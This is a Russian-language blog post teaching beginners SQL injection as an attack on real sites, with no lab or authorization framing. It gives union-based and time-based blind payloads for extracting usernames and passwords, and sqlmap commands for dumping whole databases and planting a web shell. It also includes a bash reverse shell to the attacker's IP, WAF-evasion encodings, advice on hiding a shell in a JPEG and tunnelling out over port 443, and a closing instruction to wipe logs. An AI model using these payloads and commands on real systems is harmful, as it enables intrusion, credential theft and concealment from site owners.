Главная / Блог / SQLi для новичков: Ломай базы с нуля

SQLi для новичков: Ломай базы с нуля

7 июля, 2025

33

SQLi для новичков: Ломай базы с нуля

SQL-инъекции (SQLi) — это классика, которая не устаревает, как мой старый ThinkPad. Если сайт принимает пользовательский ввод (например, в строке поиска или форме логина) и не фильтрует его, то ты можешь засунуть туда свой код и сказать базе: “Эй, отдай всё, что есть”. Чаще всего это MySQL, иногда PostgreSQL или MSSQL. На глаз видно по параметрам в URL, типа id=1 или user=admin. Если при подстановке ' OR 1=1 -- страница отдаёт что-то необычное (или логинит без пароля), поздравляю, ты в игре.

Сегодня берём два вектора: Union-based SQLi (когда данные возвращаются прямо на страницу) и Time-based Blind SQLi (когда ответов нет, но можно угадывать по задержкам). А потом автоматизируем всё через sqlmap и зальём веб-шелл, чтобы админ поплакал.

Векторы атаки

1. Union-based SQLi: Вытягиваем данные на страницу

Что делаем: Проверяем, сколько колонок в запросе, и подставляем свой UNION SELECT, чтобы база вернула нам инфу.
Как работает: Если сайт делает запрос типа SELECT name, price FROM products WHERE id=1, мы добавляем UNION SELECT 1,2,3,... и смотрим, где отображается наш вывод.
Шаги:

  • Кидаем в URL что-то типа id=1 UNION SELECT 1,2,3,4 -- и считаем колонки, пока не увидим цифры на странице.
  • Когда колонок ясно (допустим, 3), вытягиваем инфу: id=1 UNION SELECT 1,2,3, database(), user(), version() --.
  • Если повезло, видим название базы, юзера и версию MySQL прямо в браузере.
  • Далее: id=1 UNION SELECT 1,2,3, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() --. Вытягиваем таблицы.
  • Ищем юзеров/пароли: id=1 UNION SELECT 1,2,3, group_concat(username,':',password) FROM users --.

Фишка: Иногда сайт режет пробелы или --. Используй /**/ вместо пробела и # вместо коммента. Пример: id=1/**/UNION/**/SELECT/**/1,2,3#.

2. Time-based Blind SQLi: Угадываем по задержкам

Что делаем: Если Union не сработал и страница не отдаёт данные, проверяем ответы через задержки с помощью SLEEP().
Как работает: Если условие истинное, сервер “зависает” на заданное время.
Шаги:

  • Проверяем уязвимость: id=1 AND SLEEP(5) --. Если страница грузится 5+ секунд, мы в деле.
  • Угадываем длину имени базы: id=1 AND IF(LENGTH(database())=5, SLEEP(5), 0) --. Перебираем цифры, пока не угадаем.
  • Вытягиваем символы по одному: id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --. Да, это долго, но работает, если других вариантов нет.

Фишка: Ручной перебор — это боль. Если база большая или ты не хочешь тратить ночь, переходи сразу к sqlmap с опцией --technique=T.

Команды: Автоматизация через sqlmap

Анализ: Ручной SQLi хорош для понтов, но когда время поджимает, sqlmap — твой лучший кореш. Он сам находит уязвимости, определяет технику (Union, Blind, Time-based) и вытягивает всё, что нужно. Ставь его через apt install sqlmap или качай с GitHub, если у тебя кастомный Kali.

Команды для атаки:

  1. Базовый скан:
    Проверяем URL на инъекции:
sqlmap -u "http://target.com/page.php?id=1" --batch
  1. --batch — автоматический режим, без вопросов. Если sqlmap находит уязвимость, он сам предложит технику.
  2. Определяем базу и таблицы:
    Вытягиваем всё из information_schema:
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns --batch
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump --batch
  1. На выходе получаем список баз, таблиц и данные (например, логины/пароли).
  2. Time-based Blind, если Union не катит:
    Указываем технику вручную:
sqlmap -u "http://target.com/page.php?id=1" --technique=T --dbs --batch

Заливаем веб-шелл через –os-shell:
Если у тебя есть доступ к базе и права позволяют, sqlmap может закинуть шелл на сервер:

sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
  1. Он сам попытается записать PHP-шелл (если это веб-сервер) или дать тебе командную строку. Если нужно что-то кастомное, укажи путь для загрузки: --file-write=/path/to/webshell.php --file-dest=/var/www/html/shell.php.

Фишка: Если сервер на Windows, попробуй --os-cmd="powershell -c ..." для прямого доступа. На Linux кидай реверс-шелл:

bash -i >& /dev/tcp/твой_IP/твой_порт 0>&1

Трюки: Как обойти фильтры и WAF

  1. Кодирование инъекций: Если WAF или фильтры режут твой UNION или SELECT, обфускируй через HEX или CHAR:
    Вместо SELECT пиши CHAR(83,69,76,69,67,84).
    Или кодируй в HEX: UNION SELECT 0x31,0x32,0x33.
  2. Разделители: Пробелы часто фильтруются. Используй /**/+, или %0a (новая строка). Пример:
    id=1/**/UNION/**/SELECT/**/1,2,3#.
  3. HTTP-трюки: Если WAF смотрит только на GET, пробуй POST-запросы или прячь payload в Cookie:
sqlmap -u "http://target.com/page.php" --data="id=1" --cookie="auth=bla; id=1" --batch
  1. Тайминг: Time-based атаки почти не блокируются, потому что WAF не понимает, что ты делаешь. Но будь осторожен — админы могут заметить кучу долгих запросов в логах.

Советы:
Проверь поддомены через wfuzz -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt.
Попробуй протолкнуть шелл через exiftool в загруженный JPEG.
Если всё заебись — валим через reverse shell на 443-й порт, мимо фаервола.
Если тишина — “Брат, похоже, админы тоже не спали. Переходим на план Б: кринжовый XSS в админку”.

Шелл висит, база слита. Теперь твоя очередь стирать логи.

    Comments are closed